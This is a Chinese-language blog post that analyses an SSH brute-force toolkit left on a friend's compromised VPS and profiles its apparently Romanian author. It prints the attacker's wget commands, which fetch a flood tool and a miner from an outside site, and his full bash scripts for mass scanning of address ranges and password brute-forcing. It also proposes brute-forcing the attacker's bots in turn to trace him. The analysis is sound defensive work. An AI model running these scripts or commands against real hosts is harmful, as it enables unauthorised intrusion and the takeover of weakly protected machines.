记一次有趣的反渗透分析实战

阅读量    182583 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0 前言

周五下午睡醒,看到朋友发的消息,VPS被搞了,这不送上门来的嘛,得分析分析对面想干啥

 

1 分析

通过在朋友的VPS上拿到的东西:系统操作记录、部分日志、工具集等,对攻击者进行了较全面的分析

 

1.1 攻击行为分析

庆幸的是,攻击者水平并不高,所有的操作也都是在原有账户上进行的,同时未添加新用户、未添加自启动服务等。
先看一下攻击者的操作,history命令看操作历史:

  • 1、先从 https://www.nasapaul.com 上下载了v.pyninfo等文件,用于测速等操作,意义不大。该网站中一些小工具的作用:
    wget NasaPaul.com/paul pentru flood 
    wget NasaPaul.com/v.py pentru speedtest
    wget NasaPaul.com/ninfo pentru specificati
    wget NasaPaul.com/perl pentru perli de pe irc
    wget NasaPaul.com/Nasa.zip  arhiva pentru scan
    wget NasaPaul.com/groot.zip pentru arhiva de gosh
    wget NasaPaul.com/cnrig (xmrig) pentru ce-i care mineaza
    
  • 2、还从 http://bashupload.com (一个互联网临时网盘一样的东西)上下载了oznv3这个工具,是个爆破公网IP机器用户名口令的工具,肉鸡拿肉鸡嘛,后面详细分析。
  • 3、解压了oznv3、并替换了其中的pass文件(用户名密码文件,用于爆破口令)
  • 4、后面就是赋权运行程序扫别人了

1.2 工具集分析

经过分析,该工具集一共有三条攻击链,下面对攻击者采用的攻击链以及其他两条攻击链进行详细分析。
首先看一下工具目录:

1.2.1 攻击者的攻击链

攻击者采用的攻击链主要是用于扫描A段ip。
从执行命令看,他首先运行了./cg,那么我们从这个文件开始入手:

cg

该文件是个bash脚本,代码如下:

#!/bin/bash
##################Setari#################
interfata=eth0    # 指定网口
viteza=8        # 扫描速度
port=22         # ssh的端口,显然是要爆破别人的ssh登录口令
threads=1000    # 指定线程
banthread=300    # banner的线程
#########################################
##################Culori#################
galben='[1;33m'    # 设置终端提示颜色,没什么用
alb='[1;37m'
negru='[1;30m'
verde='[0;32m'
########################################

rm -rf i bios.txt ip.tmp scan.log banner.log    # 删除工具中原本的日志文件
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x *    # 给其他要执行的文件赋权
clear
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Pornit ${negru}<<<<<<<<<<<<<${verde}"
sleep 3
./.psG $port -a $1 -i $interfata -s $viteza     # 运行.psG,参数是 178
sleep 3
cat bios.txt |shuf > ip.tmp     # 记录扫描结果
cat ip.tmp |sort |uniq > ip2.tmp    # 处理ip记录
rm -rf ip.tmp    # 转存到 i 中
cat ip2.tmp | uniq | shuf  > i
rm -rf ip2.tmp
wc -l i     # 记录行数
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Oprit ${negru}<<<<<<<<<<<<<"
pkill -f .psG     # 杀死进程
echo -e "${negru}+++++++++++ ${alb}Banner Pornit ${negru}++++++++++${verde}"
./.banner bios.txt $port $banthread > /dev/null    # 运行banner程序测试探测ip目标详细信息
echo -e "${verde}Asteptam 3 secunde.."
sleep 3
doarbanner=$(cat banner.log | wc -l);    #记录可以访问的ip数量
echo -e "${alb}Avem ${galben}$doarbanner${alb} ip-uri In banner"
rm -rf i
echo -e "${negru}>>>>>>>>>> ${alb}Banner Oprit ${negru}<<<<<<<<<<"
pkill -f .banner     # 杀死banner进程

cat banner.log | grep OpenSSH|cut -d ":" -f 1 > i     # 筛选出openssh的条目

ipscount=`grep -c . i`    

sleep 10

pass=$(cat pass | wc -l);    # 字典中的用户名密码条目
ips=$(cat i | wc -l);    # 开启ssh服务的ip条目

echo -e "${alb} ${galben}[${galben}${alb} BruteForce ${galben}]${galben} - [${galben} Clasa: ${alb}$1${galben} ]${galben} - [${galben} Ipurile: ${alb}$ips${galben} ipuri ]${galben} - [${galben} ${alb}$pass${galben} Parole ]${galben}"
sleep 10

./.ps $threads -f i pass $port "uname -a & cat /proc/version"     # 开始爆破
pkill -f .ps
sleep 5
printf "${alb}Gata Scanarea, clasa urmatoare fraiere\n"

该脚本执行流程:

  • 1、首先指定了用于扫描的网口、目标的端口(22,目标很明确)、扫描线程等信息
  • 2、给.ps.psG.psGR.banner等文件赋执行权限
  • 3、运行.psG进行公网ip的扫描,并记录可访问的ip结果
  • 4、运行.banner处理扫描到的ip,进行更详细的测试,主要获取开启ssh服务的ip
  • 5、运行.ps对开启ssh服务的目标进行口令爆破、系统信息探测

下一步是运行了.psG,那么对.psG进行分析

.psG

首先查看文件信息:32位ELF文件、小端序、静态链接

psG的软链接,逆向之,没有加壳、混淆、反调试等,不过去除了符号表。

文件挺大,函数挺多,也去除了关键符号,不过从中还是能拿到很多有用信息。

首先看看其中的可见字符,基本能搞明白是干嘛用的:

后面还有很多可见字符串,tcpdump802.11等很多字符串,用途可想而知。

关键函数分析
没有找到合适的符号表,就凑合分析吧。

通过追踪关键字符串的引用,发现sub_80481A0关键函数,其交叉引用指向了srart

start调过来的,明显是main函数:

根据上图可以分析得知,该函数提示了具体的用法,对应前面的bash脚本中的如下代码:
./.psG $port -a $1 -i $interfata -s $viteza
即在运行的时候需要指明是A段还是B段网络,对应的参数是-a、-b,其中-a参数是用户输入的A段目标,根据history,攻击者输入的是178,老美的IP。。。
需要指明网口,参数:-i
指明扫描的速度,参数:-s

如图,如果满足判断,即可进行A段网络的扫描,或者下图中的B段网络的扫描(扫描函数调用的是sub_806D7B0):

同时也会限制访问的端口、提示使用的网口、检测的IP地址等信息:

然后调用sub_805FF00函数获取pid

其中sub_805FF00代码如下:

可以看到,通过系统系统调用,调用了linux的sys_fork函数。

如果pid=0,则将扫描结果记录到bios.txt

否则进行目标ip的扫描:

通过分析,sub_806D7B0sub_80505BC等函数都是具体进行扫描的时候的关键函数,这里不再进行详细分析。
至此,该工具的用途就很清楚了,进行下一步分析。

.banner

分析得知,也是一个32位的ELF文件、小端序、静态链接:

用IDA静态分析,先看一下程序中的可见字符串:

可以看到一些字符串提示,以及调用的标准库函数。

根据start交叉引用,找到main函数sub_804823C

main函数中调用sub_8048E7A 对目标IP进行进一步处理。

同时start函数还调用了sub_80493D0,查看函数内容发现其是一个探测系统内核信息的函数:

再来分析sub_8048E7A

此函数中,首先会对IP地址范围进行处理,然后调用sub_807E670进行ip目标的探测。

.ps

.psps的软链接,64位ELF文件、小端序、静态链接:

该程序对上一步过滤出的开启ssh服务的ip进行口令爆破

IDA逆向发现就三个函数,将近1M的文件就三个函数怎么可能?!
看下可见字符串,发现uxp特殊字符串:

放ubuntu中查看:

明显的加壳标记,壳还挺简单,二话不说,脱壳继续分析!

脱壳之后函数及字符串情况如下:(一堆加密函数)

首先分析main函数,关键代码如下:

可以看到,它根据传入参数的不同,分别进行处理,不过经过分析,处理过程大同小异。

攻击者在cg脚本中用的是-f参数,读取了文件i中的开启ssh服务的ip条目、pass文件中设置好的用户名和密码。

scan函数:
该函数根据传入的参数打开目标文件:

经过一部分处理之后调用checkauth函数进行认证:

checkauth函数:

根据图中的函数逻辑可知,该函数整体就是:

发起ssh连接—>初始化—>认证—>建立隧道—>登陆之后执行命令—>读取执行结果—>调用payload函数—>将payload写入缓冲区的结果存入gasite.txt—>关闭并释放ssh连接

gasite.txt是什么?

用户名、密码、IP、端口、系统信息。。。
注意其中的DVRSrv字段,后面还会有过滤系统信息的处理,攻击者目标还是比较明确的

payload函数:

先进行一个base64的解密,没有终点分析,然后把格式化的USER: %s PASS: %s HOST: %s PORT: %s --> %s写入到缓冲区,也就是扫描的结果,而后由其上层的checkauth写入gasite.txt。

至此,ps整体的分析结束,cg函数的调用也就结束了,获取到了经过一系列扫描、爆破的结果,而后利用filtru.sh进行过滤筛选。

filtru.sh

这个bash脚本是对ps中拿到的gasite.txt进行过滤:

#!/bin/bash
YEL='[1;33m'
WHI='[1;37m'
grep -v "DVDSrv" gasite.txt > 1
grep -v "pos01" 1 > 2
grep -v "raspberry" 2 > 3
grep -v "Error" 3 > 4
grep -v "Please login" 4 > 5
grep -v "sh-4.3" 5 > 6
grep -v "06:20:54" 6 > 7
grep -v "ERROR" 7 > 8
grep -v "^G" 8 > 9
grep -v "3.2.68-1+deb7u1" 9 > 10
grep -v "PREEMPT" 10 > 11
grep -v "This service allows sftp connections only." 11 > 12
grep -v "This account is currently not available." 12 > 13
grep -v "listensocks" 13 > 14
grep -v "wrong" 14 > 15
grep -v "/dev/pts" 15 > 16
grep -v "reconnect" 16 > 17
grep -v "Welcome to" 17 > 18
grep -v "Unknown command" 18 > 19
grep -v "JUNOS" 19 > 20
grep -v "ppc unknown" 20 > 21
grep -v "mips" 21 > 22
grep -v "uname -a" 22 > 23
grep -v "4.15.0-38-generic #41-Ubuntu SMP x86_64 GNU/Linux" 23 > 24
grep -v "4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64 GNU/Linux" 24 > 25
grep -v "UTC 2017 x86_64 x86_64 x86_64 GNU/Linux" 25 > 26
grep -v "cat: /proc/version: No such file or directory" 26 > 27
grep -v "pos01" 27 > 28
grep -v "raspberry" 28 > 29
grep -v "Error" 29 > 30
grep -v "Please login" 30 > 31
grep -v "sh-4.3" 31 > 32
grep -v "06:20:54" 32 > 33
grep -v "ERROR" 33 > 34
grep -v "22:33:07" 34 > 35
grep -v "3.2.68-1+deb7u1" 35 > 36
grep -v "PREEMPT" 36 > 37
grep -v "This service allows sftp connections only." 37 > 38
grep -v "This account is currently not available." 38 > 39
grep -v "uname: Invalid argument" 39 > 40
sed '/^\s*$/d' 40 > bune
sleep 2
rm -rf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
sleep 1
chmod 777 *
chmod 777 bune
clear
printf "${YEL}++ Gata fraiere, folosim \"nano bune\" pentru a vedea vps-urile prinse ++ ${WHI}\n"

最后筛选出攻击者想要的目标,显然他想要的是linux嵌入式系统,并且没有报错、无须后续登录等条件的目标。

这里在网上查东西竟然查到了类似于gasite.txt文件内容的帖子!!!

还是个匿名帖子
难道是他?不管怎样,工具基本可以肯定肯定是同一个,而且各种方法搜工具都搜不到,google hacking都不行。这哥们难道是想在网上打到目标,然后再公布到互联网上???都是弱口令啊…

攻击链本地测试:(别说,还挺好用!)

1.2.2 第二条攻击链

这条攻击链主要用于扫B段ip。
首先执行random bash脚本:

#!/bin/bash
while :
do
RANGE=255
number=$RANDOM
number2=$RANDOM
let "number %= $RANGE"
let "number2 %= $RANGE"
./c $number.$number2    # 随机生成一个B段号,并传给c作为参数
done

可以看到,此脚本将会随机生成一个B段网络,然后调用bash脚本c

#!/bin/bash
### Set conexiuni tool ###
passfile=pass
threads=1000
port=22
#
WHI='[1;37m'
BLK='[1;30m'
RED='[1;31m'
YEL='[1;33m'
BLU='[1;34m'
RES='[0m'

if [ $# != 1 ]; then
        echo "${WHI}   Folosim: $0 <b class>${RES}"
        exit;
fi
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x *
./.ps $threads -b $1 $passfile $port "uname -a & lscpu"        #用-b参数扫描
sleep 5
pkill .ps
echo "${RED}[+]${BLK} Brutele TERMINAT.${RES}"

该脚本利用ps-b参数进行扫描,即对一个B段网络进行扫描,具体的扫描操作以及后续的处理就跟攻击者用的攻击链一样了。

攻击链本地测试:

1.2.3 第三条攻击链

通过域名关键字进行B段ip的扫描。
首先执行bash脚本frm

#!/bin/bash

BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
BLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
printf "${YEL}Folsim comanda \"cat .ez\" pentru a vedea lista claselor si tarilor disponibile\n" 
sleep 5
if [ -e .clase/$1 ] ; then
        echo "${BLK}>>>${YEL} Cautam............"
        sleep 3
        oopsnr2=`grep -c . .clase/$1`
        echo "${BLK}>>>${YEL} Am gasit ->${DGRN} $oopsnr2 ${YEL} clase ${YEL}"
        sleep 5
        ./range .clase/$1
else
        echo "${BLK}>>>${RED} Nu am gasit fisierul cu clase ${YEL}"
fi

根据我们传入的参数,调用range脚本,其中.clase内容如下:

可以看到,该目录下面存放了很多以一些特殊域名命名的文件,而文件又中存储了一些域名对应的B段ip,应该是前期信息收集来的。

range脚本如下:

#!/usr/bin/env bash
# check for presence of parameter
if [ -z $1 ]; then
  echo "Se foloseste: ./frm fisier cu clasele"}
echo "De exemplu ./frm alibaba"  
  exit 1
fi
# read the file into an array of lines
declare -c lines
let count=0
while read line; do
  lines[$count]=$line
  let count=count+1
done < "$1"
# iterate lines of the file
count=0
for line in "${lines[@]}"; do
  let count=count+1   
  eval ./c "$line"
done

也就是根据frm中指定域名文件中的B段号,调用脚本c进行B段的扫描。

攻击链本地测试:

至此,该工具集中的攻击链分析及测试完毕。

1.3 针对攻击者的分析

通过结合攻击者的代码特点以及操作方式,对攻击者形成了一个简单的画像

1.3.1 攻击者人物画像

根据各个方面的分析,猜测攻击者可能是罗马尼亚人、编程水平一般、linux系统操作能力不强、攻击具有目的性

  • 罗马尼亚人

在分析工具的时候就觉得其中的提示语不像是英语,后来把一些关键句放到google翻译、百度翻译等多种翻译工具中进行自动识别,多次测试都是识别为了罗马尼亚语

工具中出现了很多词汇,例如:

De exemplu ./frm alibaba 
Asteptam 3 secunde..

百度翻译自动识别:

谷歌翻译自动识别:

根据自动识别结果(包括工具中的其他关键字的翻译结果,诸如:Culori、Setari等其他关键词),基本确定攻击者是以罗马尼亚语为母语的人,其位置也基本可以锁定在罗马尼亚附近

  • 编程水平一般

在分析工具的过程中发现,这些bash脚本编写的水平并不高,,但是中间很多缺陷很明显、很多冗余,诸如赋权重复、不定义函数、不加混淆等。
同时对于二进制文件的保护水平也很低,只是基本的去符号表、加一层简单的壳而已,目前还没有详细分析,没准其中还存在缓冲区溢出之类的漏洞呢。

  • linux系统操作能力不强

根据前面放的其命令操作历史可以看到,在执行一些基本命令的时候,都出现了多次错误,难道是拿到一台机器太激动了?那岂不是水平更低。使用的编辑器也是简单的nano。拿到机器之后没有创建用户、添加自启动服务之类的,而是把VPS的密码给改了。。。结合他现在还在用肉鸡打朋友的VPS,可想而知,也就只是一个脚本小子。

  • 攻击目的明确

根据其工具的分析,可知该攻击者就是想拿到互联网中一些指开启ssh服务的linux系统将其作为自己的肉鸡,再继续探测。并且根据.class文件夹下面的文件可知,其进行的是有目的性地针对指定的国家、企业、组织的IP发起扫描。

猜测前面提到的帖子也是指向了这个攻击者
结果太一致了:

简直一毛一样,奈何发帖的人是匿名的。

1.3.2 攻击者意图分析

通过filtru.sh脚本的分析,该攻击者对拿到的肉鸡进行了一些过滤,并且根据其后续对朋友的VPS进行的攻击(他手上大概100多台肉鸡),分析该攻击者就是想在互联网是捕获肉鸡,然后再利用肉鸡继续拓展,至于更深一层次的目的,是为了自己挖矿还是有组织目的的尚不明确。

哦,他还在拿到的肉鸡上放了冰蝎。。。

 

2 溯源

由于他仍然在利用手中的肉鸡继续对该VPS进行密码的爆破(通过查看错误日志btmp发现的)

因此有了关于后续的溯源设想:通过拿下目前正在执行爆破任务的肉鸡向上溯源到攻击者。
大概率控制这些肉鸡的机器就是攻击者自己的机器,而且他的这些肉鸡基本都是用此工具进行爆破弱口令拿下的,那我们也用弱口令爆破应该也能够拿下,不过这个攻击者也会更改密码,毕竟这台VPS密码就被他改掉了。。。
因此下一步工作可以尝试对这些肉鸡进行爆破,尝试拿下,进而进行进一步的溯源。

 

3 总结

虽然对面可能只是一个脚本小子,奈何人家拿到了你的机器呀,而且人家手上还有很多肉鸡。不过细想他的攻击方式,不禁又让我对弱口令发出感慨,世人皆知弱口令危险,却仍有很多在用。

那么,你还在用弱口令吗?

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多